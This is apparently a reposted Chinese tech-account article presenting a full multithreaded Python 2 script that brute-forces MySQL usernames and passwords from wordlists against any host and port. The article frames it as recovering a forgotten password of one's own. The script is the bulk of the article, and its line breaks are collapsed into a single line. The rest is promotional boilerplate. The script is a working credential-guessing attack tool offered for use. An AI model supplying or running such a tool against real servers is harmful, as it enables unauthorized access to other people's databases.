查看原文
其他

用Python写了个工具,完美破解了MySQL

点击上方 "Python人工智能技术关注,星标或者置顶
22点24分准时推送,第一时间送达
后台回复“大礼包”,送你特别福利

编辑:乐乐 | 来自:blog.csdn.net/l1028386804/article/details/118378477

Pythn人工智能技术(ID:coder_experience)第626次推文

上一篇:分享一套家庭理财系统(附源码)


正文


今天下班回家想登录MySQL数据库,很遗憾,我忘记了MySQL数据库的用户和密码。我该怎么办?使用安全模式登录?我想每个人都应该知道这样一种传统的方式!今天,让我们来做个改变,就是用Python写一个工具来破解MySQL,看看它能不能破解出MySQL的用户和密码。


爆破脚本

这次编写的爆破MySQL的Python脚本使用了Python中的多线程编程,并且导入了MySQLdb模块。运行时,脚本分别接收如下五个参数:

  1. 待破解的ip/domain:例如127.0.0.1

  2. 端口:例如3306

  3. 数据库:例如test

  4. 用户名列表文件:例如user.txt文件

  5. 密码列表文件:例如password.txt文件



下面给出完整的脚本代码:


#!/usr/bin/env python# -*- coding: gbk -*-# -*- coding: utf-8 -*-# Date: 2021/07/25# Created by 盟主# Description MySQL暴力破解工具多线程版import os, sys, re, socket, timefrom functools import partialfrom multiprocessing.dummy import Pool as ThreadPool try: import MySQLdbexcept ImportError: print '\n[!] MySQLdb模块导入错误,请到下面网址下载:' print '[!] http://www.codegood.com/archives/129' exit() def usage(): print '+' + '-' * 50 + '+' print '\t Python MySQL暴力破解工具多线程版' print '\t 微信公众号:Python联盟'    print '\t\t Code BY: 盟主' print '\t\t Time:2021-06-30' print '+' + '-' * 50 + '+' if len(sys.argv) != 6: print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表" print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt" sys.exit() def mysql_brute(user, password): "mysql数据库破解函数" db = None try: # print "user:", user, "password:", password db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2])) # print '[+] 破解成功:', user, password result.append('用户名:' + user + "\t密码:" + password) except KeyboardInterrupt: print '已成功退出程序!' exit() except MySQLdb.Error, msg: print '程序出错,错误信息为:', msg pass finally: if db: db.close() if __name__ == '__main__': usage() start_time = time.time() if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]): host = sys.argv[1] else: host = socket.gethostbyname(sys.argv[1]) userlist = [i.rstrip() for i in open(sys.argv[4])] passlist = [j.rstrip() for j in open(sys.argv[5])] print '\n[+] 目 标:%s \n' % sys.argv[1] print '[+] 用户名:%d 条\n' % len(userlist) print '[+] 密 码:%d 条\n' % len(passlist) print '[!] 密码破解中,请稍候……\n' result = [] for user in userlist: partial_user = partial(mysql_brute, user) pool = ThreadPool(10) pool.map(partial_user, passlist) pool.close() pool.join() if len(result) != 0: print '[+] MySQL密码破解成功!\n' for x in {}.fromkeys(result).keys(): print x + '\n' else: print '[-] MySQL密码破解失败!\n'    print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

脚本编写完成后,运行,等待了一段时间,将我的MySQL的用户和密码完美的破解出来了。


你还有什么想要补充的吗?

免责声明:本文内容来源于网络,文章版权归原作者所有,意在传播相关技术知识&行业趋势,供大家学习交流,若涉及作品版权问题,请联系删除或授权事宜。


技术君个人微信


添加技术君个人微信即送一份惊喜大礼包


→ 技术资料共享

→ 技术交流社群



--END--


往日热文:

盘点程序员写过的惊天Bug:亏损30亿、致6人死亡,甚至差点毁灭世界

利用Python爬虫抓取手机APP的传输数据

硬核!终于有人把 HTTPS 解释得这么直白了

面试官:二维码扫码登录是个啥原理


Python程序员深度学习的“四大名著”:



这四本书着实很不错!我们都知道现在机器学习、深度学习的资料太多了,面对海量资源,往往陷入到“无从下手”的困惑出境。而且并非所有的书籍都是优质资源,浪费大量的时间是得不偿失的。给大家推荐这几本好书并做简单介绍。


获得方式:

1.扫码关注本公众号
2.后台回复关键词:名著

▲长按扫描关注,回复名著即可获取

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存